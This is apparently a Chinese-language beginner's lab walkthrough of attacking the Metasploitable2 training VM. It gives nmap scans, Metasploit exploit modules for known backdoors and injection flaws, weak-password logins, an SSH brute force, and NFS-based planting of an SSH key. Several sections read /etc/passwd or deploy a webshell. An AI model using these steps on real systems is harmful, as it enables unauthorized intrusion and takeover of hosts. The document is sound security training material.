目录
一、介绍
二、环境
三、渗透攻击
1.前期渗透
1.1主机发现
1.2.端口扫描
1.3.测试漏洞
2.弱密码漏洞
2.1系统弱密码登录(telnet :23端口)
2.2 MySQL弱密码登录(端口:3306)
2.3 PostgreSQL弱密码登录(端口:5432)
2.4 VNC弱密码登录(端口:5900)
3.Vsftpd源码包后门漏洞(21端口):
4.SSH弱口令漏洞(22端口)
5.Linux NFS共享目录配置漏洞(22端口):
6.SambaMS-RPC Shell命令注入漏洞(端口139)
7.UnrealIRCd后门漏洞(6667端口)
8.Java RMI SERVER命令执行漏洞(1099端口):
9.Ingreslock后门漏洞(1524端口)
10.PHP CGI参数注入执行漏洞(80端口)
11.Tomcat管理台默认口令漏洞(8180端口):
12.Druby远程代码执行漏洞
13.Distcc后门漏洞(3623端口)
四.总结:
一、介绍
Metasploitable2是一款用于漏洞测试和渗透测试的虚拟机,它包含了许多已知的漏洞和弱点,可以用于测试安全工具和技术的有效性。
当虚拟系统启动之后,使用用户名:msfadmin
和密码msfadmin
登陆
下载地址:链接:https://pan.baidu.com/s/1SPDaOWEHSdR9Cjh-eESV3g
提取码:8888
二、环境
1.vmware虚拟机
2.kali:ip(192.168.184.130)
3.Metasploitable2靶机 ip(192.168.184.134)
三、渗透攻击
1.前期渗透
1.1主机发现
nmap:nmap -sP 192.168.184.1/24 (ip网段)
可判断靶机IP为134 kali为130 (141是我另一台虚拟主机 .1.2.254是kali的广播地址)
MSF:
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行
MSF也可以发现靶机地址。
相互ping一下:
1.2.端口扫描
nmap:nmap -sT 192.168.184.134(IP)
看到可以开放端口还是不少的。
MSF:
use auxiliary/scanner/portscan/tcp //使用模块
set rhosts 192.168.184.134 //设置远程ip
run
端口也是多多的。
1.3.测试漏洞
nmap扫描出来使用端口协议或程序的版本:
nmap -sV -p 1-65535 192.168.184.134
nmap -O ip 查看系统类型
nmap ip --script=vuln
扫出来挺多的:
2.弱密码漏洞
原理:
系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。
影响系统/软件:
所有使用用户名/密码登录的系统/软件都有可能存在此问题。
在Metasploitable2中,系统口令、MySQL、PostgreSQL和VNC远程登录都存在弱密码漏洞。
利用:
2.1系统弱密码登录(telnet :23端口)
kali执行:
telnet ip :192.168.184.134
用户名和密码都是msfadmin
成功登录 进入系统:
2.2 MySQL弱密码登录(端口:3306)
在kali上执行mysql –h IP:192.168.184.134 –u root
登录成功 进入mysql系统:
2.3 PostgreSQL弱密码登录(端口:5432)
PostgreSQL是一个免费的对象·关系型数据库服务器(ORDBMS)
在kali上执行 psql –h ip –U postgres
输入密码postgres
登录成功,进入postgresql系统:
2.4 VNC弱密码登录(端口:5900)
VNCViewer是一个远程桌面控制程序,它可以让用户通过网络连接到远程计算机并控制该计算机的桌面。相当于是虚拟网络控制台的应用程序。
在kali中执行 vncviewer ip
输入密码password
登录成功 进入系统:
3.Vsftpd源码包后门漏洞(21端口):
原理:
在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
影响系统/软件
Vsftpd server v2.3.4
MSF利用
利用步骤
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST 192.168.184.134 设置要攻击的机器IP
exploit/run 开始攻击
利用成功
执行uname–a pwd id 验证
手动利用:
同样我们也可以用手动用笑脸:)激活:
ftp ip 也可以用telnet激活笑脸
账号随便输入一个 user:)
Password:123456 随便输入一个 已经创建好了后面6200后门端口
nmap -p 6200 ip 查看6200端口是否开启
Nc连接:nc ip
验证:whoami id pwd
利用成功
查看端口
4.SSH弱口令漏洞(22端口)
原理:
靶机root用户存在弱口令漏洞,在使用指南里并没有指出。.
影响系统/软件:
Linux
利用步骤:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS ip
set USERNAME root
set PASS_FILE xxx.txt
set THREADS 50 提高线程
run
root口令爆破成功 ,口令为root
使用模块:
开始爆破:
美杜莎破解:
medusa -M ssh协议 -h ip地址 -u msfadmin用户名 -P xxx.txt字典
成功登录:
靶场ssh的用户名和密码
msfadmin:msfadmin
root:root
5.Linux NFS共享目录配置漏洞(22端口):
原理:
NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/authorized_keys可被修改,实现远程ssh无密码登陆。
影响系统/软件:
所有Linux系统的NFS服务
利用步骤:
查看靶机上的nfs服务是否开启:rpcinfo -p ip
查看靶机上设置的远程共享目录列表:showmount -e ip
生成rsa公钥命令:sshkeygen (一直回车)
在渗透机 /tmp目录下新建文件夹xxx,以备后续挂载需求,命令:mkdir /tmp/xxx
把靶机ip的根目录挂载到渗透机上新建的/tmp/xxx/目录下;
命令:mount –o nolock –t nfs ip:/ /tmp/msftables/
把渗透机上生成的公钥追加到靶机的authorized_keys下
命令:cat /root/.ssh/id_rsa.pub >> /tmp/xxx/root/.ssh/authorized_keys
实现无密码ssh登录:ssh root@ip
进行登录验证
成功
6.SambaMS-RPC Shell命令注入漏洞(端口139)
原理:
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
利用成功
7.UnrealIRCd后门漏洞(6667端口)
原理:
在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
影响系统/软件:
Unreal UnrealIRCd3.2.8.1
利用步骤:
在kali中执行msfconsole,启动metasploit
use exploit/unix/irc/unreal_ircd_3281_backdoor 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
失败用 seesions (查看控制会话) -i id
利用成功 执行uname –a验证
利用模块 设置参数:
sessions查看会话:
cat etc/passwd 查看用户
8.Java RMI SERVER命令执行漏洞(1099端口):
原理:
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行
利用步骤:
Nmap –p0-65535 ip 来查看1099端口是否开启
开始利用:
MSF
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时)
使用模块:
设置参数
sessions查看会话进行攻击:
9.Ingreslock后门漏洞(1524端口)
原理:
Ingreslock后门程序运行在1524端口,连接到1524端口就能直接获得root权限,经常用于入侵一个暴露的服务器.
利用:
利用telnet连接目标主机的1524端口,直接获取root权限;
步骤:
nmap -sV -p 1524 ip 扫描目标主机端口
telnet ip 1524 连接目标主机
测试:
uname -a 查看系统类型版本
whoami 查看获取的权限
ifconfig eth0 查看网卡信息
cat /etc/passwd 查看主机的密码文件。
扫描 :
利用成功:
10.PHP CGI参数注入执行漏洞(80端口)
原理:
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
影响系统/软件:
before 5.3.12 and 5.4.x before 5.4.2
利用步骤:
在kali中执行msfconsole,启动metasploit
msf > useexploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
show options 一下只需要配置ip就好:
设置参数 利用成功:
11.Tomcat管理台默认口令漏洞(8180端口):
原理:
omcat 管理台安装好后需要及时修改默认管理账户,并杜绝弱口令,成功登陆者可以部署任意web应用,包括webshell.
影响系统/软件:
Nessus
JSPwebshell
nmap -sV -p 扫描:
利用步骤:
进入url ip:8180
国产化一下:
用户名 密码 tomcat:tomcat 即可进入管理台
管理页面:
登录成功:
管理器页面:
登录成功:
国产化一下:
MSF
在msf下可以使用use multi/http/tomcat_mgr_deploy模块利用tomcat upload功能反弹shell。
它的原理是上传一个war文件,在war文件执行对应的脚本,执行payload的内容,这个时候,就会执行反弹。
use exploit/multi/http/tomcat_mgr_deploy 使用模块
show options 查看配置参数
set rhosts ip 设置ip
set rport 8180 设置端口
set HttpUsername tomcat 设置用户名
set HttpPassword tomcat 设置密码
run/exploit 攻击
使用模块 查看配置
设置参数
查看参数
利用成功:
run攻击及验证 shell whoami ip addr
手动:
http://ip:端口/tomcat/tomcat.jsp
蚁剑 哥斯拉 冰蝎 均未成功
我也不知道为什么。。。。
可能是靶场原因 我用vulfocus开了个相关靶场:
直接上哥斯拉:
成功:
嘿嘿嘿:
用户为root
12.Druby远程代码执行漏洞
原理:
Druby配置不当,被滥用执行命令(Distributed Ruby or DRb allows Ruby programs to communicate with eachother on the same machine or over a network. DRb uses remote method invocation(RMI) to pass commands and data between processes)
影响系统/软件:
Ruby 1.8
利用步骤:
nmap -sV -p 8787 ip nmap发现8787 druby端口
kali msfconsole >启动metasploit
msf >search drb 搜索dbr相关漏洞
msf > use exploit/linux/misc/drb_remote_codeexec 使用漏洞
set URI druby:ip:8787 设置druby链接
exploit/run 开始攻击
输入id, uname -a,whoami 验证
nmap 扫描 8787 端口开放
漏洞找不到
13.Distcc后门漏洞(3623端口)
原理:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制。
影响系统/软件:
distcc 2.x
利用步骤:
MSF msfconsole
use exploit/unix/misc/distcc_exec 选择漏洞
show options 查看配置参数
set RHOST ip 设置被攻击机的IP
exploit/run 开始攻击
uname –a 验证服务器信息
nmap查看端口是否开启:
利用不成功
四.总结:
Metasploitable2靶机主要是让我们网安小白初入kali,主要是熟悉MSF的命令与其模块的使用,漏洞比较老,所以有的payload会没有利用模块或者复现失败,最后两个漏洞没有复现出来。